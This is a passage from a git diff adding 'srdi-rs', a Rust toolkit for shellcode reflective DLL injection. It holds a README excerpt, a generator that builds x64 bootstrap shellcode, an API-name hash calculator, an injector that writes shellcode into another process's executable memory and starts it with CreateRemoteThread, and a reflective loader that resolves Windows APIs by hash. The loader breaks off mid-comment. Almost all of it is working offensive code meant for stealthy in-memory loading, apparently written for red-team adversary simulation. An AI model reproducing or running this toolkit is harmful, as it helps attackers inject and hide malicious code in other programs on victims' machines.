rsi +pop rsi +ret + +nop +nop +``` + +[Why?](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) + +*"The reason we need the bootstrap shellcode is due to the limited amount of data we’re able to pass to the reflective loader with Stephen Fewer’s original reflective DLL injection technique."* - Dan Staples + +*"Since Fewer’s reflective DLL injection technique passes the address of the reflective loader to `CreateRemoteThread` as the `lpStartAddress` parameter, it’s only able to pass a single void pointer."* - Dan Staples + +*"But if we want our reflective loader to call an additional export after loading the DLL, we’ll need to give it more information! We’ll do this by passing additional parameters to the reflective loader function using some bootstrap shellcode."* - Dan Staples + + +The new declaration of our reflective loader function will be: + +```rust +#[no_mangle] +pub extern "system" fn reflective_loader( + image_bytes: *mut c_void, // testdll base address + user_function_hash: u32, // SayHello hash + user_data: *mut c_void, // memN0ps + user_data_length: u32, // 7 + _shellcode_base: *mut c_void,// bootstrap shellcode base address + flags: u32, // 0x2 +) +``` + +## TODO + +* Stomp / erase DOS and NT headers +* Free `bootstrap shellcode / RDI / testdll / user data` memory and exit thread. Note that newly allocated memory (`VirtualAlloc` using `RW`) is already being freed at the end of RDI using `VirtualFree`. (The rest can be done by the user, if needed). +* x86 support (mostly already done) + +## References and Credits + +* https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/ +* https://github.com/monoxgas/sRDI +* https://github.com/stephenfewer/ReflectiveDLLInjection/ +* https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel) +* https://github.com/dismantl/ImprovedReflectiveDLLInjection +* https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html +* https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/ +* https://github.com/Cracked5pider/KaynLdr +* https://github.com/Ben-Lichtman/reloader/ +* https://github.com/not-matthias/mmap/ +* https://github.com/memN0ps/mmapper-rs +* https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI +* https://github.com/Jaxii/idk-rs/ +* https://github.com/janoglezcampos/rust_syscalls/ \ No newline at end of file diff --git a/memN0ps/srdi-rs/generate_shellcode/Cargo.toml b/memN0ps/srdi-rs/generate_shellcode/Cargo.toml new file mode 100644 index 0000000..b8f463e --- /dev/null +++ b/memN0ps/srdi-rs/generate_shellcode/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "generate_shellcode" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +sysinfo = "0.20.4" +log = "0.4.17" +env_logger = "0.9.0" + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices" +] \ No newline at end of file diff --git a/memN0ps/srdi-rs/generate_shellcode/src/main.rs b/memN0ps/srdi-rs/generate_shellcode/src/main.rs new file mode 100644 index 0000000..eb8ab88 --- /dev/null +++ b/memN0ps/srdi-rs/generate_shellcode/src/main.rs @@ -0,0 +1,393 @@ +use std::{collections::BTreeMap, ffi::CStr}; +use std::{ + env, + fs::{self}, +}; +use windows_sys::Win32::System::{ + Diagnostics::Debug::{ + IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, IMAGE_NT_OPTIONAL_HDR64_MAGIC, + IMAGE_SECTION_HEADER, + }, + SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY}, +}; + +const BOOTSTRAP_TOTAL_LENGTH: u32 = 79; // THIS NEEDS TO CHANGE IF THE SHELLCODE BELOW CHANGES +const REFLECTIVE_LOADER_NAME: &str = "reflective_loader"; // THIS NEEDS TO CHANGE IF THE REFLECTIVE LOADER FUNCTION NAME CHANGES + +#[allow(dead_code)] +//const SRDI_CLEARHEADER: u32 = 0x1; +#[allow(dead_code)] +const SRDI_CLEARMEMORY: u32 = 0x2; + +#[allow(dead_code)] +//const SRDI_OBFUSCATEIMPORTS: u32 = 0x4; +#[allow(dead_code)] +//const SRDI_PASS_SHELLCODE_BASE: u32 = 0x8; + +fn main() { + env_logger::init(); + + let args: Vec = env::args().collect(); + + if args.len() < 5 { + println!("Usage: generate_shellcode.exe "); + println!("Example: generate_shellcode.exe reflective_loader.dll testdll.dll SayHello memN0ps shellcode.bin"); + std::process::exit(1); + } + + let reflective_loader_path = &args[1]; + let user_dll_path = &args[2]; + let user_function = &args[3]; + let user_data = &args[4]; + let shellcode_output_path = &args[5]; + + let mut reflective_loader_bytes = + std::fs::read(reflective_loader_path).expect("Failed to read reflective loader path"); + + let mut user_dll = std::fs::read(user_dll_path).expect("Failed to read user dll path"); + let user_dll_size = user_dll.len(); + + let user_function_hash = hash(user_function.as_bytes()); // TODO: Take this as user input + log::debug!( + "[+] User function hash: {:#x} and user data {}", + user_function_hash, + user_data + ); + + let final_shellcode = convert_to_shellcode( + &mut user_dll, + user_dll_size, + user_function_hash, + user_data, + user_data.len() as _, + SRDI_CLEARMEMORY, + &mut reflective_loader_bytes, + ); + + fs::write(shellcode_output_path, final_shellcode) + .expect("[-] Failed to write the final shellcode to a file"); + log::debug!("PIC shellcode file path: {}", shellcode_output_path); +} + +//credits: monoxgas +fn convert_to_shellcode( + dll_bytes: &mut Vec, + dll_length: usize, + user_function: u32, + user_data: &str, + user_data_length: u32, + flags: u32, + reflective_loader_bytes: &mut Vec, +) -> Vec { + let reflective_loader_ptr = reflective_loader_bytes.as_mut_ptr(); + let reflective_loader_size = reflective_loader_bytes.len(); + + // Get the reflective loader address in memory + let loader_address = + get_exports_by_name(reflective_loader_ptr, REFLECTIVE_LOADER_NAME.to_owned()) + .expect("Failed to find export"); + + // Calculate the reflective loader offset + let reflective_loader_offset = loader_address as usize - reflective_loader_ptr as usize; // module_base minus to get the offset + log::debug!( + "[+] Reflective Loader Offset: {:#x}", + reflective_loader_offset + ); + + if !is_64_dll(dll_bytes.as_mut_ptr() as _) { + panic!("[-] The file is not a 64 bit dll"); + } + + let mut bootstrap: Vec = Vec::new(); + + // + // Step 1) Save the current location in memory for calculating addresses. + // + + // call 0x00 (This will push the address of the next function to the stack) + bootstrap.push(0xe8); + bootstrap.push(0x00); + bootstrap.push(0x00); + bootstrap.push(0x00); + bootstrap.push(0x00); + + // pop rcx - This will pop the value we saved on the stack into rcx to capture our current location in memory + bootstrap.push(0x59); + + // mov r8, rcx - We copy the value of rcx into r8 before we start modifying RCX + bootstrap.push(0x49); + bootstrap.push(0x89); + bootstrap.push(0xc8); + + // + // Step 2) Align the stack and create shadow space + // + + // push rsi - save original value + bootstrap.push(0x56); + + // mov rsi, rsp - store our current stack pointer for later + bootstrap.push(0x48); + bootstrap.push(0x89); + bootstrap.push(0xe6); + + // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap.push(0x48); + bootstrap.push(0x83); + bootstrap.push(0xe4); + bootstrap.push(0xf0); + + // sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack + bootstrap.push(0x48); + bootstrap.push(0x83); + bootstrap.push(0xec); + bootstrap.push(6 * 8); //6 args that are 8 bytes each + + // + // Step 3) Setup reflective loader parameters: Place the last 5th and 6th args on the stack since, rcx, rdx, r8, r9 are already in use for our first 4 args. + // + + // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5 + bootstrap.push(0x48); + bootstrap.push(0x89); + bootstrap.push(0x4C); + bootstrap.push(0x24); + bootstrap.push(4 * 8); // 5th arg + + // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base + bootstrap.push(0x48); + bootstrap.push(0x83); + bootstrap.push(0x6C); + bootstrap.push(0x24); + bootstrap.push(4 * 8); // 5th arg + bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector + + // mov dword ptr [rsp + 0x28], - (40 bytes) Push arg 6 just above shadow space + bootstrap.push(0xC7); + bootstrap.push(0x44); + bootstrap.push(0x24); + bootstrap.push(5 * 8); // 6th arg + bootstrap.append(&mut flags.to_le_bytes().to_vec().clone()); + + // + // Step 4) Setup reflective loader parameters: Place the 1st, 2nd, 3rd and 4th args in rcx, rdx, r8, r9 + // + + // mov r9, - copy the 4th parameter, which is the length of the user data into r9 + bootstrap.push(0x41); + bootstrap.push(0xb9); + bootstrap.append(&mut user_data_length.to_le_bytes().to_vec().clone()); + + // add r8, + - copy the 3rd parameter, which is address of the user function into r8 after calculation + bootstrap.push(0x49); + bootstrap.push(0x81); + bootstrap.push(0xc0); + let user_data_offset = + (BOOTSTRAP_TOTAL_LENGTH - 5) as u32 + reflective_loader_size as u32 + dll_length as u32; + bootstrap.append(&mut user_data_offset.to_le_bytes().to_vec().clone()); + + // mov edx, - copy the 2nd parameter, which is the hash of the user function into edx + bootstrap.push(0xba); + bootstrap.append(&mut user_function.to_le_bytes().to_vec().clone()); + + // add rcx, - copy the 1st parameter, which is the address of the user dll into rcx after calculation + bootstrap.push(0x48); + bootstrap.push(0x81); + bootstrap.push(0xc1); + let dll_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) as u32 + reflective_loader_size as u32; + bootstrap.append(&mut dll_offset.to_le_bytes().to_vec().clone()); + + // + // Step 5) Call reflective loader function + // + + // call - call the reflective loader address after calculation + bootstrap.push(0xe8); + let reflective_loader_address = (BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4 as u32) + + reflective_loader_offset as u32; + bootstrap.append(&mut reflective_loader_address.to_le_bytes().to_vec().clone()); + + //padding + bootstrap.push(0x90); + bootstrap.push(0x90); + + // + // Step 6) Reset the stack to how it was and return to the caller + // + + // mov rsp, rsi - Reset our original stack pointer + bootstrap.push(0x48); + bootstrap.push(0x89); + bootstrap.push(0xf4); + + // pop rsi - Put things back where we left them + bootstrap.push(0x5e); + + // ret - return to caller and resume execution flow (avoids crashing process) + bootstrap.push(0xc3); + + // padding + bootstrap.push(0x90); + bootstrap.push(0x90); + + log::debug!("[+] Bootstrap Shellcode Length: {}", bootstrap.len()); + + let mut final_shellcode: Vec = Vec::new(); + + // Bootstrap Shellcode + final_shellcode.append(&mut bootstrap); + + // Reflective DLL + final_shellcode.append(reflective_loader_bytes); + + // User DLL + final_shellcode.append(dll_bytes); + + // User Data + final_shellcode.append(&mut user_data.as_bytes().to_vec()); + + return final_shellcode; +} + +fn is_64_dll(module_base: usize) -> bool { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = unsafe { + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32 + }; + #[cfg(target_arch = "x86_64")] + let nt_headers = unsafe { + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64 + }; + + if unsafe { (*nt_headers).OptionalHeader.Magic } == IMAGE_NT_OPTIONAL_HDR64_MAGIC { + //PE64 + return true; + } + + return false; +} + +//credits: janoglezcampos / @httpyxel / yxel +pub const fn hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} + +/// Gets exports by name +pub fn get_exports_by_name(module_base: *mut u8, module_name: String) -> Option<*mut u8> { + // loop through the module exports to find export by name + for (name, addr) in unsafe { get_module_exports(module_base) } { + if name == module_name { + return Some(addr as _); + } + } + return None; +} + +/// Retrieves all functions and addresses from the specfied module +pub unsafe fn get_module_exports(module_base: *mut u8) -> BTreeMap { + let mut exports = BTreeMap::new(); + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + panic!("[-] Failed to get DOS header"); + } + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + + #[cfg(target_arch = "x86_64")] + let nt_header = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = rva_to_file_offset_pointer( + module_base as usize, + (*nt_header).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as u32, + ) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfNames) + as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfFunctions) + as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + rva_to_file_offset_pointer( + module_base as usize, + (*export_directory).AddressOfNameOrdinals, + ) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + for i in 0..(*export_directory).NumberOfNames { + let name = rva_to_file_offset_pointer(module_base as usize, names[i as usize]) as *const i8; + + if let Ok(name) = CStr::from_ptr(name).to_str() { + let ordinal = ordinals[i as usize] as usize; + exports.insert( + name.to_string(), + rva_to_file_offset_pointer(module_base as usize, functions[ordinal]), + ); + } + } + exports +} + +/// get the Relative Virtual Address to file offset pointer +pub unsafe fn rva_to_file_offset_pointer(module_base: usize, mut rva: u32) -> usize { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let ref_nt_headers = &*nt_headers; + + let section_header = ((&ref_nt_headers.OptionalHeader as *const _ as usize) + + (ref_nt_headers.FileHeader.SizeOfOptionalHeader as usize)) + as *mut IMAGE_SECTION_HEADER; + + let number_of_sections = (*nt_headers).FileHeader.NumberOfSections; + + for i in 0..number_of_sections as usize { + let virt_address = (*section_header.add(i)).VirtualAddress; + let virt_size = (*section_header.add(i)).Misc.VirtualSize; + + if virt_address <= rva && virt_address + virt_size > rva { + rva -= (*section_header.add(i)).VirtualAddress; + rva += (*section_header.add(i)).PointerToRawData; + + return module_base + rva as usize; + } + } + return 0; +} diff --git a/memN0ps/srdi-rs/hash_calculator/Cargo.toml b/memN0ps/srdi-rs/hash_calculator/Cargo.toml new file mode 100644 index 0000000..55f0026 --- /dev/null +++ b/memN0ps/srdi-rs/hash_calculator/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "hash_calculator" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/memN0ps/srdi-rs/hash_calculator/src/main.rs b/memN0ps/srdi-rs/hash_calculator/src/main.rs new file mode 100644 index 0000000..e1a08a5 --- /dev/null +++ b/memN0ps/srdi-rs/hash_calculator/src/main.rs @@ -0,0 +1,55 @@ +fn main() { + let kernel32 = "KERNEL32.DLL".as_bytes(); + println!("KERNEL32.DLL: {:#x}", hash(kernel32)); + + let ntdll = "ntdll.dll".as_bytes(); + println!("ntdll.dll: {:#x}", hash(ntdll)); + + let load_library_a = "LoadLibraryA".as_bytes(); + println!("LoadLibraryA: {:#x}", hash(load_library_a)); + + let get_proc_address = "GetProcAddress".as_bytes(); + println!("GetProcAddress: {:#x}", hash(get_proc_address)); + + let virtual_alloc = "VirtualAlloc".as_bytes(); + println!("VirtualAlloc: {:#x}", hash(virtual_alloc)); + + let virtual_protect = "VirtualProtect".as_bytes(); + println!("VirtualProtect: {:#x}", hash(virtual_protect)); + + let flush_instruction_cache = "FlushInstructionCache".as_bytes(); + println!( + "FlushInstructionCache: {:#x}", + hash(flush_instruction_cache) + ); + + let virtual_free = "VirtualFree".as_bytes(); + println!("VirtualFree: {:#x}", hash(virtual_free)); + + let exit_thread = "ExitThread".as_bytes(); + println!("ExitThread: {:#x}", hash(exit_thread)); + + let say_hello = "SayHello".as_bytes(); + println!("SayHello: {:#x}", hash(say_hello)); +} + +//credits: janoglezcampos / @httpyxel / yxel +pub fn hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} diff --git a/memN0ps/srdi-rs/inject/Cargo.toml b/memN0ps/srdi-rs/inject/Cargo.toml new file mode 100644 index 0000000..3d2c9d1 --- /dev/null +++ b/memN0ps/srdi-rs/inject/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "inject" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +sysinfo = "0.20.4" +log = "0.4.17" +env_logger = "0.9.0" + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices" +] \ No newline at end of file diff --git a/memN0ps/srdi-rs/inject/src/main.rs b/memN0ps/srdi-rs/inject/src/main.rs new file mode 100644 index 0000000..d2c4f4d --- /dev/null +++ b/memN0ps/srdi-rs/inject/src/main.rs @@ -0,0 +1,128 @@ +use std::{env, ptr::null_mut}; +use sysinfo::{Pid, ProcessExt, SystemExt}; +use windows_sys::Win32::{ + Foundation::CloseHandle, + System::{ + Diagnostics::Debug::WriteProcessMemory, + Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, + Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}, + }, +}; + +fn main() { + env_logger::init(); + + let args: Vec = env::args().collect(); + + if args.len() < 2 { + println!("Usage: inject.exe "); + std::process::exit(1); + } + + let process_name = &args[1]; + let file_path = &args[2]; + + let process_id = get_process_id_by_name(process_name) as u32; + log::debug!("[+] Process ID: {}", process_id); + + //let image_bytes = include_bytes!(r"C:\Users\memn0ps\Documents\GitHub\srdi-rs\shellcode.bin"); + let image_bytes = std::fs::read(file_path).expect("Failed to read the file path"); + let module_size = image_bytes.len(); + let module_base = image_bytes.as_ptr(); + + // Get a handle to the target process with PROCESS_ALL_ACCESS + let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, process_id) }; + + if process_handle == 0 { + panic!("Failed to open a handle to the target process"); + } + + log::debug!("[+] Process handle: {:?}", process_handle); + + // Allocate memory in the target process for the shellcode + let shellcode_address = unsafe { + VirtualAllocEx( + process_handle, + null_mut(), + module_size, // was sizeOfImage for RDI + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) + }; + + log::debug!( + "[+] Allocated memory in the target process for the shellcode: {:p}", + shellcode_address + ); + + if shellcode_address.is_null() { + panic!("Failed to allocate memory in the target process for the shellcode"); + } + + // Write the shellcode to the target process + let wpm_result = unsafe { + WriteProcessMemory( + process_handle, + shellcode_address as _, + module_base as _, + module_size, // was sizeOfImage for RDI + null_mut(), + ) + }; + + if wpm_result == 0 { + panic!("Failed to write the image to the target process"); + } + + //For debugging + //pause(); + + // Create remote thread and execute our shellcode + let thread_handle = unsafe { + CreateRemoteThread( + process_handle, + null_mut(), + 0, + Some(std::mem::transmute(shellcode_address as usize)), + std::ptr::null_mut(), // Can be used to pass the first parameter to loader but we're using shellcode to call our loader with more parameters + 0, + null_mut(), + ) + }; + + // Close thread and process handle + unsafe { + CloseHandle(thread_handle); + CloseHandle(process_handle); + }; +} + +/// Get process ID by name +pub fn get_process_id_by_name(target_process: &str) -> Pid { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + return process_id; +} + +#[allow(dead_code)] +/// Gets user input from the terminal +fn get_input() -> std::io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +#[allow(dead_code)] +/// Used for debugging +pub fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +} diff --git a/memN0ps/srdi-rs/reflective_loader/.gitignore b/memN0ps/srdi-rs/reflective_loader/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/memN0ps/srdi-rs/reflective_loader/.gitignore @@ -0,0 +1 @@ +/target diff --git a/memN0ps/srdi-rs/reflective_loader/Cargo.toml b/memN0ps/srdi-rs/reflective_loader/Cargo.toml new file mode 100644 index 0000000..aaec01f --- /dev/null +++ b/memN0ps/srdi-rs/reflective_loader/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "reflective_loader" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[lib] +crate-type = ["cdylib"] + +[dependencies] +ntapi = "0.3.7" +obfstr = "0.3.0" + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming" +] \ No newline at end of file diff --git a/memN0ps/srdi-rs/reflective_loader/src/lib.rs b/memN0ps/srdi-rs/reflective_loader/src/lib.rs new file mode 100644 index 0000000..e2cbaeb --- /dev/null +++ b/memN0ps/srdi-rs/reflective_loader/src/lib.rs @@ -0,0 +1,714 @@ +use ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PTEB, ntpsapi::PEB_LDR_DATA}; +use std::{arch::asm, ffi::c_void, mem::size_of}; +use windows_sys::{ + core::PCSTR, + Win32::{ + Foundation::{BOOL, FARPROC, HANDLE, HINSTANCE}, + System::{ + Diagnostics::Debug::{ + IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DIRECTORY_ENTRY_EXPORT, + IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64, IMAGE_SCN_MEM_EXECUTE, + IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, IMAGE_SECTION_HEADER, + }, + Memory::{ + MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, + PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY, PAGE_PROTECTION_FLAGS, + PAGE_READONLY, PAGE_READWRITE, PAGE_WRITECOPY, VIRTUAL_ALLOCATION_TYPE, + VIRTUAL_FREE_TYPE, + }, + SystemServices::{ + DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, + IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, + IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW, + }, + WindowsProgramming::IMAGE_THUNK_DATA64, + }, + }, +}; + +#[allow(non_camel_case_types)] +type fnLoadLibraryA = unsafe extern "system" fn(lplibfilename: PCSTR) -> HINSTANCE; + +#[allow(non_camel_case_types)] +type fnGetProcAddress = unsafe extern "system" fn(hmodule: HINSTANCE, lpprocname: PCSTR) -> FARPROC; + +#[allow(non_camel_case_types)] +type fnFlushInstructionCache = unsafe extern "system" fn( + hprocess: HANDLE, + lpbaseaddress: *const c_void, + dwsize: usize, +) -> BOOL; + +#[allow(non_camel_case_types)] +type fnVirtualAlloc = unsafe extern "system" fn( + lpaddress: *const c_void, + dwsize: usize, + flallocationtype: VIRTUAL_ALLOCATION_TYPE, + flprotect: PAGE_PROTECTION_FLAGS, +) -> *mut c_void; + +#[allow(non_camel_case_types)] +type fnVirtualProtect = unsafe extern "system" fn( + lpaddress: *const c_void, + dwsize: usize, + flnewprotect: PAGE_PROTECTION_FLAGS, + lpfloldprotect: *mut PAGE_PROTECTION_FLAGS, +) -> BOOL; + +#[allow(non_camel_case_types)] +type fnVirtualFree = unsafe extern "system" fn( + lpaddress: *mut c_void, + dwsize: usize, + dwfreetype: VIRTUAL_FREE_TYPE, +) -> BOOL; + +#[allow(non_camel_case_types)] +type fnExitThread = unsafe extern "system" fn(dwexitcode: u32) -> !; + +#[allow(non_camel_case_types)] +type fnDllMain = + unsafe extern "system" fn(module: HINSTANCE, call_reason: u32, reserved: *mut c_void) -> BOOL; + +// Function pointers (Thanks B3NNY) +static mut LOAD_LIBRARY_A: Option = None; +static mut GET_PROC_ADDRESS: Option = None; +static mut VIRTUAL_ALLOC: Option = None; +static mut VIRTUAL_PROTECT: Option = None; +static mut FLUSH_INSTRUCTION_CACHE: Option = None; +static mut VIRTUAL_FREE: Option = None; +static mut EXIT_THREAD: Option = None; + +// User function (Change if parameters are changed) +#[allow(non_camel_case_types)] +type fnUserFunction = unsafe extern "system" fn(a: *mut c_void, b: u32); +static mut USER_FUNCTION: Option = None; + +// Hashes generated by hash calculator +const KERNEL32_HASH: u32 = 0x6ddb9555; +const NTDLL_HASH: u32 = 0x1edab0ed; + +const LOAD_LIBRARY_A_HASH: u32 = 0xb7072fdb; +const GET_PROC_ADDRESS_HASH: u32 = 0xdecfc1bf; +const VIRTUAL_ALLOC_HASH: u32 = 0x97bc257; +const VIRTUAL_PROTECT_HASH: u32 = 0xe857500d; +const FLUSH_INSTRUCTION_CACHE_HASH: u32 = 0xefb7bf9d; +const VIRTUAL_FREE_HASH: u32 = 0xe144a60e; +const EXIT_THREAD_HASH: u32 = 0xc165d757; + +#[allow(dead_code)] +//const SRDI_CLEARHEADER: u32 = 0x1; +#[allow(dead_code)] +const SRDI_CLEARMEMORY: u32 = 0x2; + +#[allow(dead_code)] +//const SRDI_OBFUSCATEIMPORTS: u32 = 0x4; +#[allow(dead_code)] +//const SRDI_PASS_SHELLCODE_BASE: u32 = 0x8; + +/// Performs a Reflective DLL Injection +#[no_mangle] +pub extern "system" fn reflective_loader( + image_bytes: *mut c_void, + user_function_hash: u32, + user_data: *mut c_void, + user_data_length: u32, + _shellcode_base: *mut c_void, + flags: u32, +) { + let module_base = image_bytes as usize; + + if module_base == 0 { + return; + } + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = unsafe { + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32 + }; + #[cfg(target_arch = "x86_64")] + let nt_headers = unsafe { + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64 + }; + + // + // Step 1) Load required modules and exports by hash + // + + if !get_exported_functions_by_hash() { + return; + } + + // + // Step 2) Allocate memory and copy sections and headers into the newly allocated memory + // + + let new_module_base = unsafe { copy_sections_to_local_process(module_base) }; + + if new_module_base.is_null() { + return; + } + + unsafe { copy_headers(module_base as _, new_module_base) }; //copy headers (remember to stomp/erase DOS and NT headers later) + + // + // Step 3) Process image relocations (rebase image) + // + + unsafe { rebase_image(new_module_base) }; + + // + // Step 4) Process image import table (resolve imports) + // + + unsafe { resolve_imports(new_module_base) }; + + // + // Step 5) Set protection for each section + // + + let section_header = unsafe { + (&(*nt_headers).OptionalHeader as *const _ as usize + + (*nt_headers).FileHeader.SizeOfOptionalHeader as usize) + as *mut IMAGE_SECTION_HEADER + }; + + for i in unsafe { 0..(*nt_headers).FileHeader.NumberOfSections } { + let mut _protection = 0; + let mut _old_protection = 0; + // get a reference to the current _IMAGE_SECTION_HEADER + let section_header_i = unsafe { &*(section_header.add(i as usize)) }; + + // get the pointer to current section header's virtual address + let destination = unsafe { + new_module_base + .cast::() + .add(section_header_i.VirtualAddress as usize) + }; + + // get the size of the current section header's data + let size = section_header_i.SizeOfRawData as usize; + + if section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 { + _protection = PAGE_WRITECOPY; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 { + _protection = PAGE_READONLY; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 + && section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 + { + _protection = PAGE_READWRITE; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 { + _protection = PAGE_EXECUTE; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 + && section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 + { + _protection = PAGE_EXECUTE_WRITECOPY; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 + && section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 + { + _protection = PAGE_EXECUTE_READ; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 + && section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 + && section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 + { + _protection = PAGE_EXECUTE_READWRITE; + } + + // Change memory protection for each section + unsafe { + VIRTUAL_PROTECT.unwrap()(destination as _, size, _protection, &mut _old_protection) + }; + } + + // We must flush the instruction cache to 